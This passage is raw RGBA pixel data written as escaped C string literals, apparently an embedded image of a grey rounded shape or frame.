"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\246\246\246\377ppp\377ooo\376ppp\377ppp\377"
"\302\302\302\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\300\300\300\377ppp\377ppp\376ppp\377ppp\377\317\317\317"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\313\313\313\377ppp\377ppp\377ppp\374ppp\377\316\316\316\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\315\315"
"\315\377ppp\377qqq\373ppp\341ppp\377\305\305\305\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\304\304\304\377ppp\377"
"ppp\341ooo\265ppp\377\260\260\260\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\262\262\262\377ppp\377ooo\265oooupp"
"p\377\221\221\221\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\224\224\224\377ppp\377qqqxrrr\035ppp\372qqq\377\303\303"
"\303\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\307\307\307\377sss\377p"
"pp\374qqq\"\000\000\000\000ooo\227ppp\377\204\204\204\377\317\317\317\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\321\321\321\377\214\214\214\377ppp\377ppp\242\000\000\000\000\000\000\000\000ppp\020ppp\340"
"ppp\377\215\215\215\377\315\315\315\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\320\320\320\377\226\226\226\377ppp\377ppp\354uuu\030\000\000\000\000"
"\000\000\000\000\000\000\000\000nnn,ppp\354ppp\377\177\177\177\377\275\275\275\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\300\300\300\377\207\207\207\377ppp\377ppp\370ooo>\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000mmm#qqq\325ppp\377qqq\377\214\214\214\377\261\261"
"\261\377\312\312\312\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
